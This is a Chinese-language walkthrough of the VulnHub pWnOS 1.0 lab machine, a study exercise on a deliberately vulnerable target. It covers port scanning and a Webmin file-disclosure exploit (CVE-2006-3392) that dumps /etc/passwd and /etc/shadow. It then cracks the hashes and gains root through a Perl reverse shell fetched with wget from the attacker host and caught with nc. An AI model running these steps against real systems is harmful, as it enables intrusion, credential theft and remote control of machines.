vulnhub-----pWnOS1.0靶机

文章目录

1.信息收集
2.漏洞测试
3.爆破hash
4.提权

首先拿到一台靶机，就需要知道靶机的各种信息（IP地址，开放端口，有哪些目录，什么框架，cms是什么，网页有什么常见的漏洞，如sql注入，命令执行，文件包含等…），及各种收集工具的使用

1.信息收集

拿靶机的IP地址,一般有以下三种：

arp-scan -l
netdiscover -s high -h 10.10.10.0/24
nmap -sn 10.10.10.0/24

我的靶机IP地址是10.10.10.14，得到IP地址后，扫描开放的端口

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# nmap -p- 10.10.10.14 --min-rate 10000            //扫描1-65535的所有端口
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10000/tcp open  snet-sensor-mgmt

udp扫描

┌──(root㉿kali)-[~]
└─# nmap -sU 10.10.10.14 --min-rate 10000
PORT      STATE  SERVICE
137/udp   open   netbios-ns
162/udp   closed snmptrap
1033/udp  closed netinfo-local
2002/udp  closed globe
19141/udp closed unknown
30365/udp closed unknown
37783/udp closed unknown

端口服务扫描

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# nmap -sT -sV -O 10.10.10.14          
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-22 00:50 EDT
Nmap scan report for 10.10.10.14
Host is up (0.069s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp    open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.22
OS details: Linux 2.6.22 (embedded, ARM), Linux 2.6.22 - 2.6.23
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.21 seconds

通过扫描得到80端口是apache服务2.2.4版本，139和445是smb服务，10000端口是webmin框架（等下可以搜一下相关漏洞）
nmap常见漏洞扫描

┌──(root㉿kali)-[~]
└─# nmap --script=vuln -p22,80,139,445,10000 10.10.10.14
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-22 00:51 EDT
Nmap scan report for 10.10.10.14
Host is up (0.0014s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum: 
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
|   /index/: Potentially interesting folder
|_  /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10000/tcp open  snet-sensor-mgmt
| http-vuln-cve2006-3392: 
|   VULNERABLE:
|   Webmin File Disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2006-3392
|       Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
|       This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
|       to bypass the removal of "../" directory traversal sequences.
|       
|     Disclosure date: 2006-06-29
|     References:
|       http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|       http://www.exploit-db.com/exploits/1997/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
MAC Address: 00:0C:29:5E:18:C9 (VMware)

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 321.72 seconds

分析：80端口有dos攻击，有/icons,/index,/php三个目录;10000端口有一个CVE-2006-3392，任意文件读取漏洞
访问80，10000端口，看看有什么东西
80
提示我们点击next
在这里插入图片描述 http://10.10.10.14/index1.php?help=true&connect=true

http://10.10.10.14/index2.php?name=123&level=n00b&submit=Please+Help%21
在这个页面下，尝试加单引号闭合，然而并没有报错，将参数改为/etc/passwd，也没有什么用
php页面有一个phpmyadmin，但是需要密码 在这里插入图片描述

10000端口，应该是后台登陆页面
在这里插入图片描述

2.漏洞测试

在kali中searchsploit是一个很🐂的漏洞库，可以在里面搜各种poc

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# searchsploit webmin         
------------------------------------------------------ ---------------------------------
 Exploit Title                                        |  Path
------------------------------------------------------ ---------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory | cgi/webapps/23535.txt
phpMyWebmin 1.0 - 'target' Remote File Inclusion      | php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion  | php/webapps/2451.txt
Webmin - Brute Force / Command Execution              | multiple/remote/705.pl
webmin 0.91 - Directory Traversal                     | cgi/remote/21183.txt
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Sp | linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation               | linux/remote/21765.pl
Webmin 0.x - Code Input Validation                    | linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution          | multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI)                    | multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execut | unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities               | cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit)  | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execu | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution                  | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution  | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Bypass RCE (M | linux/webapps/49318.rb
Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery ( | linux/webapps/50144.py
Webmin 1.973 - 'save_user.cgi' Cross-Site Request For | linux/webapps/50126.py
Webmin 1.984 - Remote Code Execution (Authenticated)  | linux/webapps/50809.py
Webmin 1.996 - Remote Code Execution (RCE) (Authentic | linux/webapps/50998.py
Webmin 1.x - HTML Email Command Execution             | cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Dis | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Dis | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Met | linux/webapps/47330.rb
------------------------------------------------------ ---------------------------------
Shellcodes: No Results

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# searchsploit -m 2017.pl  
  Exploit: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
      URL: https://www.exploit-db.com/exploits/2017
     Path: /usr/share/exploitdb/exploits/multiple/remote/2017.pl
    Codes: CVE-2006-3392
 Verified: True
File Type: Perl script text executable
Copied to: /root/kali/vulnhub/pwnOS/2017.pl

使用perl

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]            
└─# perl 2017.pl 
Usage: 2017.pl <url> <port> <filename> <target>   //使用方法
TARGETS are
 0  - > HTTP 
 1  - > HTTPS
Define full path with file name 
Example: ./webmin.pl blah.com 10000 /etc/passwd

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# perl 2017.pl 10.10.10.14 10000 /etc/passwd 0
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.14 on port 10000!
FILENAME:  /etc/passwd

 FILE CONTENT STARTED
 -----------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash

可以读取到/etc/passwd文件，读取/etc/shadow试试,也可以，那就拿加密密码去爆破

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# perl 2017.pl 10.10.10.14 10000 /etc/shadow 0
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.14 on port 10000!
FILENAME:  /etc/shadow

 FILE CONTENT STARTED
 -----------------------------------
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

3.爆破hash

john 是一个密码破解工具，用于破解密码哈希值。它通常用于测试系统的密码强度，评估系统安全性，或者在授权测试中尝试获取未授权的访问

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
h4ckm3           (vmware)

OK,爆破出VMware密码，尝试ssh登陆

┌──(root㉿kali)-[~]
└─# ssh vmware@10.10.10.14        
Unable to negotiate with 10.10.10.14 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
 //SSH 客户端与 SSH 服务器之间的密钥交换算法不匹配引起的
┌──(root㉿kali)-[~]
└─# ssh -oHostKeyAlgorithms=+ssh-dss vmware@10.10.10.14   
The authenticity of host '10.10.10.14 (10.10.10.14)' can't be established.
DSA key fingerprint is SHA256:r69naj+dUdsNI77F8/FCC9zwpVPk1rzzEdT5znXT/Lo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.14' (DSA) to the list of known hosts.
vmware@10.10.10.14's password: 
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri Jun 20 14:35:37 2008
vmware@ubuntuvm:~$ id
uid=1000(vmware) gid=1000(vmware) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),111(lpadmin),112(admin),1000(vmware)

4.提权

提权主要从内核版本，suid，自动任务，sudo -l

vmware@ubuntuvm:~$ whoami
vmware
vmware@ubuntuvm:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/passwd
/usr/bin/smbumount
/usr/bin/chfn
/usr/bin/sudoedit
/usr/bin/newgrp
/usr/bin/arping
/usr/bin/gpasswd
/usr/bin/smbmnt
/usr/bin/at
/usr/bin/chsh
/usr/sbin/pppd
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/apache2/suexec
/bin/su
/bin/umount
/bin/ping
/bin/ping6
/bin/check-foreground-console
/bin/fusermount
/bin/mount
/sbin/mount.cifs
/sbin/umount.cifs
/lib/dhcp3-client/call-dhclient-script
vmware@ubuntuvm:~$ cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
vmware@ubuntuvm:~$ sudo -l
[sudo] password for vmware:
Sorry, user vmware may not run sudo on ubuntuvm.
vmware@ubuntuvm:~$ uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux

在/var目录下发现webmin是具有root权限的，所以我们在利用2017.pl时可以直接读取/etc/shadow文件，也就是说，如果通过漏洞执行反弹shell时，反弹的是root，（因为是root权限执行的呀）
在这里插入图片描述 OK
kali中自带有webshell脚本，在/usr/share/webshells/perl/perl-reverse-shell.pl，将perl-reverse-shell.pl,复制粘贴位shell.cgi后缀的，然后vim，修改里面的IP，为本地IP
为什么是perl呢？因为webmin是perl语言写的，如果使用.pl后缀，shell反弹不成功，所以改成cgi后缀的可执行文件在这里插入图片描述

靶机下载

python3 -m http.server 8888 
靶机cd到家目录
vmware@ubuntuvm:/var$ cd /home/vmware/
vmware@ubuntuvm:~$ wget http://10.10.10.10:8888/shell.cgi

通过2017.pl执行shell文件

┌──(root㉿kali)-[~/kali/vulnhub/pwnOS]
└─# perl 2017.pl 10.10.10.14 10000 /home/vmware/shell.cgi 0
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.14 on port 10000!
FILENAME:  /home/vmware/shell.cgi

 FILE CONTENT STARTED
 -----------------------------------
Browser IP address appears to be: 10.10.10.10<p>

┌──(root㉿kali)-[~]
└─# nc -lvnp 1234 
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.14] 56646
 01:16:57 up  3:37,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
vmware   pts/0    10.10.10.10      00:40   47.00s  0.10s  0.10s -bash
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
uid=0(root) gid=0(root)
/
/usr/sbin/apache: can't access tty; job control turned off
# id
uid=0(root) gid=0(root)